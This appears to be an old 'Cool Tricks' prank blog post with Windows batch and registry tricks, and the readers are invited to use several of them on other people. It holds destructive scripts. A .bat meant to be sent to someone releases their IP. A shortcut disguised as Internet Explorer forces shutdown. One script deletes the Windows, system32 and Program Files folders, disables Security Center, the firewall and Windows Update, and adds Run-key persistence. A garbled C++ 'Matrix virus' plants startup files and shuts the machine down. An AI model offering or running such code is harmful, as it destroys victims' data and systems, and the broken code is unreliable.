Cool Tricks

Cool Tricks

How to stop someone's internet access::::

Open Notepad

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew.

ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u
will find the icon on ur desktop, dont open it, just right click on it 
and press properties>change icon>select the icon the the internet 
explorer and the press apply then ok
try to open it, it is a virus hehe

PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a.

Freeze someone's desktop:::

this is a funny trick, u can freeze someone's desktop

1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.

2.go to paint and click on edit then paste

3.save this file as (name).bmp and close the paint.

3.now

in the desktop, we have 2 remove desktop icons and shortcuts, so right 

click on the mouse and then properties, click on desktop then select 

customize desktop.

4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.

5.now

to remove the shortcuts in the desktop, go to start and select My 

Computer, then click on c: right click on ur mouse and select new 

folder, write it any name

6.now go to desktop & select all da 

icons and right click on them then press cut,go to c: and paste them in 

the folder dat u created then close the window.

7.now to put the 

fake desktop image and remove the taskbar, so right click on desktop and

gp to properties, now go to desktop and select Browse, select the file 

that u saved then press appply then ok. now to remove the windows 

taskbar, right click on the taskbar and go 2 properties, then select 

autohide the taskbar and then apply then ok

now all the icons r fake and the user will think that his desktop is freezed

enjoy it.!

SHUT UR INTERNET PERMENANTLY:::

This

is a slightly more advanced one. It shuts down your internet 

permanately. I tried it on myself accidently, i knew what it did, and it

still took me a couple of days to get my internet back. works best on 

XP, not tested on vista or 7.

EDIT: At the bottom put a rickroll 

site or something. BTW, that 3rd line, isnt what disables the internet 

permanately. It is somethinge else, that just provides a fast response 

to shut down any connections.

@echo off

reg

add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t 

REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul

start iexpress (website of your choice)

ipconfig /release

del "C:\Program Files\Microsoft Games

del "C:Nexon

del "C:\Program Files\Xfire

del "C:\Program Files\Adobe"

del "C:\Program Files\Internet Explorer"

del "C:\Program Files\Mozilla Firefox"

del "C:\WINDOWS"

del "C:\WINDOWS\system32"

del "C:\WINDOWS\system32\cmd"

del "C:\WINDOWS\system32\iexpress"

del "C:\WINDOWS\system32\sndvol32"

del "C:\WINDOWS\system32\sndrec32"

del "C:\WINDOWS\system32\Restore\rstrui"

del "C:\WINDOWS\system32\wupdmgr"

del "C:\WINDOWS\system32\desktop"

del "C:\WINDOWS\java"

del "C:\WINDOWS\Media"

del "C:\WINDOWS\Resources"

del "C:\WINDOWS\system"

del "C:\drivers"

del "C:\drv"

del "C:\SYSINFO"

del "C:\Program Files"

echo ipconfig/release_all>>c:windowswimn32.bat

net stop "Security Center"

net stop SharedAccess

> "%Temp%.kill.reg" ECHO REGEDIT4

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

START /WAIT REGEDIT /S "%Temp%.kill.reg"

del "%Temp%.kill.reg"

del %0

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

:a

start iexpress (website of your choice)

goto a

MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::

Warning - Do not run it on your computer 

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad

2-Put in this code

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int main()

{ keybd_event(VK_MENU,0x38,0,0);

keybd_event(VK_RETURN,0x1c,0,0);

keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);

HANDLE outToScreen;

outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{

char buffer[255];

char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";

ifstream input(inputFile);

if (!input)

{

{

ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);

fp 

fp 

fp 

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

}

}

}

{

char buffer[255];

char inputFile[]="C:\rawr.exe";

ifstream input(inputFile);

if (!input)

{

{

{

ofstream fp("CLICK.bat", ios::app);

fp 

fp 

fp 

fp 

}

system("START CLICK.bat");

main();

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

system("call shutdown.exe -S");

goto START;

}

}

}

START:{

for(int i = 0; i < 1; i++)

{

int num = (rand() % 10);

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);

cout 

cout 

cout 

cout 

cout 

cout 

cout 

cout 

cout 

cout 

cout 

cout 

Sleep(60);

}

}

for ( int j = 0; j < 5; j++)

{

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);

int number = (rand() % 24);

cout 

}

goto START;

3-save it as matrix.bat

4-finish

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT!!!

CHANGE YOUR PROCESSOR NAME:::

Are you bored with your old processor? Do you want a new processor with a breath-stopping name but are not going to upgrade any time soon? No need to worry. You can still have that new processor's name displayed in your computer. Well not only that, you can also have a better one than the one you are supposing to buy. Just follow this trick.

With this trick, you can change the name of your processor to a personalized one like My Processor or something extreme like Decacore Processor 50 GHz .  These are just a few examples. You can change the name of your processor to anything you like.

To have one such cool processor's name displayed in your computer, follow these steps:-

1. Click on Start.
2. Click on Run.
3. Type "regedit" without quotes.
4. Navigate to HKEY_LOCAL_MACHINE/HARDWARE/
5. From HARDWARE, navigate to DESCRIPTION/System/CentralProcessor/.
6. In the work area, double click on ProcessorNameString, and change its value according to your choice.
7. Click OK

 Any Doubt? VIEW VIDEO

Right Click on Computer icon and select properties.The final outcome would be something like the one in the image.

Try it on your PC and show it to your friends to see the fun.

P.S.: Personally, I have recently changed the name of my processor to "iLife Processor 7, Alien Technologies".  Tell me what you change yours to.